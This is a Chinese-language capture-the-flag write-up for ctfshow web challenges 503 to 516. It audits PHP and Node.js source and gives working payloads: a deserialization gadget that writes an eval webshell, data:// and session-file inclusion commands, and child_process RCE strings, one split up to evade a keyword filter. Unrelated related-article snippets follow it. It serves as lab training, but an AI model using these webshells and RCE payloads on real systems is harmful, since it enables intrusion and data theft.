ctfshow web入门 中期测评 web503--web516(无web511--web514)

web503

看了之前的文件的发现都没办法利用了

在这里插入图片描述
这个页面的源码发现了

layui.use(['layer', 'form'], function(){var layer = layui.layer,form = layui.form;form.on('submit(admin_settings)', function(data){$.ajax({url:'api/admin_settings.php',dataType:"json",type:'post',data:{title:data.field['title'],copy_right:data.field['copy_right'],beian:data.field['beian'],seo:data.field['seo']},success:function(data){layer.alert(data.msg, function(index){location.reload();});  }});return false;});
});layui.use('element', function(){var element = layui.element;
});
layui.use('upload', function(){var upload = layui.upload;var uploadInst = upload.render({elem: '#logo' ,url: 'api/admin_upload.php' ,done: function(data){layer.alert(data.msg, function(index){location.reload();});}});
});
function change_avatar(){$('#avatar').toggle();
}
?action=../api/admin_upload
<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){$arr = $_FILES["file"];if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 ){$arr["tmp_name"];$filename = md5($arr['name']);       //传入的文件名被MD5$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);     //获取文件扩展名if(!preg_match('/^php$/i', $ext)){$basename = "../img/".$filename.'.' . $ext;     move_uploaded_file($arr["tmp_name"],$basename); //文件被移动到/var/www/html/img$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));$config['logo']=$filename.'.' . $ext;file_put_contents(__DIR__.'/../config/settings', serialize($config));$ret['msg']='文件上传成功';}}else{$ret['msg']='文件上传失败';}die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}
?action=../api/admin_db_backup
<?phpsession_start();include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);if(file_exists($pre.$db_format)){      $ret['msg']='数据库备份成功';die(json_encode($ret));}if(preg_match('/^(zip|tar|sql)$/', $db_format)){shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));if(file_exists($pre.$db_format)){$ret['msg']='数据库备份成功';}else{$ret['msg']='数据库备份失败';}}else{$ret['msg']='数据库备份失败';}die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

file_exists触发phar反序列化

<?phperror_reporting(0);
class db{public $db;public $log;public $sql;public $username='root';public $password='root';public $port='3306';public $addr='127.0.0.1';public $database='ctfshow';public function __construct(){$this->log=new dbLog();$this->db=$this->getConnection();}public function getConnection(){return new mysqli($this->addr,$this->username,$this->password,$this->database);}public  function select_one($sql){$this->sql=$sql;$result=$this->db->query($sql);if($result){return $result->fetch_object();}}public  function select_one_array($sql){$this->sql=$sql;$conn = db::getConnection();$result=$this->db->query($sql);if($result){return $result->fetch_assoc();}}public function update_one($sql){$this->sql=$sql;$conn = db::getConnection();$this->db->query($sql);return $this->db->affected_rows;}public function __destruct(){$this->log->log($this->sql);}
}
class dbLog{public $sql;public $content;public $log;public function __construct(){$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';}public function log($sql){$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';}public function __destruct(){file_put_contents($this->log, $this->content,FILE_APPEND);}
}

思路

先打一个phar文件进去--》
在backup传参pre=/var/www/html/img&db_format=我们传入文件的md5文件名比如打的是aaa.phar
就传c54c75d1d14d4d656f5c33d25b3bfbaa加后缀phar

至于具体的操作怎么来先欠着不会phar反序列化

web504

在这里插入图片描述
有多的文件了
bushi,看不了源码了
在这里插入图片描述
在这个地方抓包观察一下
在这里插入图片描述

在这里插入图片描述

创建模版的地方抓包看看
在这里插入图片描述
找一下文件在哪里
在这里插入图片描述
发现上传在这里但是还是没有利用的点哇,我们之前序列化写马成功了,现在看看那
在这里插入图片描述
在这里插入图片描述
诶还是没成功,路径改改
在这里插入图片描述
终于getshell
在这里插入图片描述
EXP是这个

<?php
class dbLog{public $content='<?=eval($_POST[1]);?>';public $log='/var/www/html/ma.php';public function __destruct(){file_put_contents($this->log, $this->content,FILE_APPEND);}
}
echo urlencode(serialize(new dbLog()));
?>

web505

进入页面发现有个文件查看又可以看源码了
在这里插入图片描述
看一下源码先

<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);if($debug==1 && preg_match('/^user/', file_get_contents($f))){include($f);}else{$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));}$ret['msg']='查看成功';die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

这里可以直接写马,用POST覆盖,要使得文件包含
已知文件在templates里面,然后在
url/api/api/admin_file_view.php传参
在这里插入图片描述

web506

api/admin_file_view.php
<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);$ext = substr($f, strlen($f)-3,3);if(preg_match('/php|sml|phar/i', $ext)){$ret['msg']='请不要使用此功能';die(json_encode($ret));}if($debug==1 && preg_match('/^user/', file_get_contents($f))){include($f);}else{$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));}$ret['msg']='查看成功';die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

文件后缀名字需要改一下
在这里插入图片描述

在这里插入图片描述

web507

<?phpsession_start();error_reporting(0);
$user= $_SESSION['user'];
$ret = array("code"=>0,"msg"=>"查询失败","count"=>0,"data"=>array());
if($user){extract($_POST);$ext = substr($f, strlen($f)-3,3);if(preg_match('/php|sml|phar/i', $ext)){$ret['msg']='请不要使用此功能';die(json_encode($ret));}if($debug==1 && preg_match('/^user/', file_get_contents($f))){include($f);}else{$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));}$ret['msg']='查看成功';die(json_encode($ret));}else{$ret['msg']='请登录后使用此功能';die(json_encode($ret));
}

我上传文件并没有成功
直接读取用data协议

debug=1&f=data://test/palin,user<?php+system("tac /f*");

在这里插入图片描述
但是这是为什么呢,文件都是一模一样的

web508

在这里插入图片描述

上传头像这个地方其实是可以上传木马的
这个头像的位置在临时文件下面
/tmp/sess_cookie值

url/api/admin_file_view.phpPOST:
debug=1&f=/tmp/sess_s4k5igq6j7ccld43846e2nots5&1=echo `tac /f*`;

在这里插入图片描述

web509

没有禁sess还是像上题一样

web510

一样的打法

web515

var express = require('express');
var _= require('lodash');
var router = express.Router();/* GET users listing. */
router.get('/', function(req, res, next) {res.render('index', { title: '鎴戞槸澶嶈鏈�' });
});router.post('/',function(req,res,next){if(req.body.user!=null){msg = req.body.user;if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){res.render('index', { title: '鏁忔劅淇℃伅涓嶅璇�' });}else{res.render('index', { title: eval(msg) });}}else{res.render('index', { title: '鎴戞槸澶嶈鏈�' });}});
module.exports = router;

在这里插入图片描述

在路由index.php中POST传参user=...

那么这里是是js的RCE
首先GET传参没有过滤
POST传参user有部分过滤

https://46e2a8d3-92b0-432e-8fc2-8f47b7a2da0b.challenge.ctf.show/index.php?b=require("child_process").execSync("tac /f*")
POST:
user=eval(req.query.b) //执行GET传参的b参数

当然也可以直接POST传参

在这里插入图片描述

user=eval(req.body.b)&b=require("child_process").execSync("tac /f*")

web516

if(user!==undefined){ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');}else{ctx.render('/');}

审计代码发现这里可以代码执行

app.use(async(ctx,next)=>{if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){return}else{await next()}})

审计这里发现了过滤的东西,使用引号绕过

username=aaaa&password=1)%2beval(('req'%2b'uire("chi'%2b'ld_proce'%2b'ss").ex'%2b'ecSync("echo $FLAG")')

一个很正常的绕过姿势
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/51807.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

STM32项目分享:智能台灯(机智云)系统

目录 一、前言 二、项目简介 1.功能详解 2.主要器件 三、原理图设计 四、PCB硬件设计 PCB图 五、程序设计 六、实验效果 七、资料内容 项目分享 一、前言 项目成品图片&#xff1a; 哔哩哔哩视频链接&#xff1a; https://www.bilibili.com/video/BV1My411q7fE…

小白学大模型:LLaMA-Factory 介绍与使用

最近这一两周看到不少互联网公司都已经开始秋招提前批了。 不同以往的是&#xff0c;当前职场环境已不再是那个双向奔赴时代了。求职者在变多&#xff0c;HC 在变少&#xff0c;岗位要求还更高了。 最近&#xff0c;我们又陆续整理了很多大厂的面试题&#xff0c;帮助一些球友…

基于CentOS Stream 9平台安装MySQL Community Server 9.0.1 Innovation

1. 安装之前 1.1 查看系统版本 cat /etc/redhat-releaseCentOS Stream release 9 1.2 查看cpu架构 lscpu架构&#xff1a; x86_64 CPU 运行模式&#xff1a; 32-bit, 64-bit 2. 官网下载 https://dev.mysql.com/downloads/mysql/ 要多看看 官方9.0文档&#xff1a;https://d…

NSL-KDD入侵检测系统的设计与实现系列预告

每日进阶-基于机器学习的入侵检测系统——打怪升级之道 在当今的数字时代&#xff0c;网络安全不仅是防御&#xff0c;更是主动出击。你是否想知道如何用机器学习技术设计一套入侵检测系统&#xff08;IDS&#xff09;&#xff0c;让黑客无所遁形&#xff1f;本系列文章将为您揭…

unity2D游戏开发12单例

单例 我们先了解一种被称为单例的软件设计模式。当应用程序需要在生命周期内创建特定类的单个实例时,可以使用单例。当一个类提供了游戏中其他几个类使用的功能时,单例会很有用,例如,在Game Manager 类中协调游戏逻辑,单例可以提供对该类及其功能的公共统一访问入口。单例…

入门 PyQt6 看过来(案例)14~ 分组

本文分享一个分组框功能&#xff0c;采用pyqt6里的QGroupBox​控件&#xff0c;效果如下&#xff1a;性别和专业分开为两个分组框内&#xff1a; ​ 1 功能实现思路 ui页面布局设计 性别和专业要设计成两个分组框&#xff1a; ​ 逻辑实现 引入信号和槽函数来实现点击单选…

搞懂数据结构与Java实现

文章链接&#xff1a;搞懂数据结构与Java实现 (qq.com) 代码链接&#xff1a; Java实现数组模拟循环队列代码 (qq.com) Java实现数组模拟栈代码 (qq.com) Java实现链表代码 (qq.com) Java实现哈希表代码 (qq.com) Java实现二叉树代码 (qq.com) Java实现图代码 (qq.com)

从区块链到股票市场的全方位布局,广辉团队创新引领共创财富未来!

广辉团队作为一家涉足互联网投资领域的团队&#xff0c;在短短几年内迅速崛起&#xff0c;成为行业中的佼佼者。这支团队汇聚了来自各行各业的商业精英&#xff0c;并在互联网金融领域创造了巨大的财富。业务范畴涵盖了资产管理、资本市场、消费金融、保险市场、零售银行及财富…

UDP通信 单播,广播,组播

UDP通信实现 #include <sys/types.h> #include <sys/socket.h> ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen); - 参数&#xff1a; struct sockaddr *src_addr, socklen_t *addrlen…

数据库期末复习

数据库期末复习 分析题 1 &#xff08;1&#xff09;使用数据库系统可以大大提高应用开发的效率&#xff0c;方便用户的使用减轻数据库系统管理人员维护的负担&#xff0c;请回答数据库系统有哪些部分组成&#xff1f;什么是数据库管理系统&#xff0c;其主要功能包括哪些方而&…

vue3项目报错集合

目录 一、does not provide an export named default 一、does not provide an export named default 报错截图&#xff1a; 原因&#xff1a; vite对commonjs兼容性太差&#xff0c;导致无法引入jsoneditor&#xff0c;可以使用originjs/vite-plugin-commonjs插件解决。&am…

Cocos Creator2D游戏开发(7)-飞机大战(5)-让子弹飞

飞机大战(5)-碰撞及积分 参考敌机的生成 子弹由飞机生成,放在player_node节点子弹重复使用,要使用预制体;子弹新增了动画 ①创建一个预制体 命名为playerBullet_prefab ② 双击预制体将bullet1图片拖入预制体 保存,关闭(场景编辑器里面的) ③ 发射子弹 player加入代码 prop…

【网络安全】破解邀请码实现未经授权的访问和账户接管

未经许可&#xff0c;不得转载。 文章目录 前言1、邀请用户2、低级账户访问3、提取用户 ID 和 OTP4、准备字典5、攻击6、账户接管 前言 ExampleSpark&#xff08;化名&#xff09;是一个专为团队管理和项目协作而设计的强大平台。它提供了用于管理用户、项目和权限的综合工具。…

【华视电子CVR100A】 身份证读取与酒店收银系统源码整合:CyberWinApp-SAAS 本地化及未来之窗行业应用跨平台架构

一、酒店系统连接身份证阅读器好处 在开房界面&#xff0c;点击读取身份证&#xff0c;可以自动读取姓名&#xff0c;性别&#xff0c;地址&#xff0c;身份证号码 1. 提高办理入住效率 - 传统的手动输入身份证信息繁琐且容易出错&#xff0c;一键读取能够快速准确地获取客人身…

机器学习算法——常规算法,在同的业务场景也需要使用不同的算法(一)

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

【C语言报错已解决】Format String Vulnerability

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引言 在日常开发中&#xff0c;我们经常会遇到各种各样的bug&#xff0c;其中格式化字符串漏洞报错可能是最让人头疼的一种。这…

基于SpringBoot+Vue的地方美食分享网站(带1w+文档)

基于SpringBootVue的地方美食分享网站(带1w文档) 人类的进步带动信息化的发展&#xff0c;使人们生活节奏越来越快&#xff0c;所以人们越来越重视信息的时效性。以往的管理方式已经满足不了人们对获得信息的方式、方便快捷的需求。即地方美食分享网站慢慢的被人们关注。 项目简…

Redis集群启动步骤

前提&#xff1a;处理好配置文件。 一、通过配置文件启动三个Redis实例。 执行命令&#xff1a;redis-server /opt/redis/cluster/16381/16381.conf 二、因为 Redis 集群至少需要 3 个主节点。所以这三个都是主节点&#xff0c;暂不考虑从节点。 创建一个包含 3 个主节点的…

全网最适合入门的面向对象编程教程:27 类和对象的Python实现-Python中异常层级与自定义异常类的实现

全网最适合入门的面向对象编程教程&#xff1a;27 类和对象的 Python 实现-Python 中异常层级与自定义异常类的实现 摘要&#xff1a; 本文主要介绍了在使用 Python 进行面向对象编程时&#xff0c;异常的层级和如何使用继承关系完成自定义自己项目中异常类&#xff0c;并以传…

刷题了:144.二叉树的前序遍历心|145.二叉树的后序遍历心|94.二叉树的中序遍历己

递归遍历 文章讲解:https://programmercarl.com/%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E9%80%92%E5%BD%92%E9%81%8D%E5%8E%86.html#%E6%80%9D%E8%B7%AF 视频讲解:https://www.bilibili.com/video/BV1Wh411S7xt/?spm_id_from333.788&vd_sourcee70917aa6392827d1ccc8d85e1…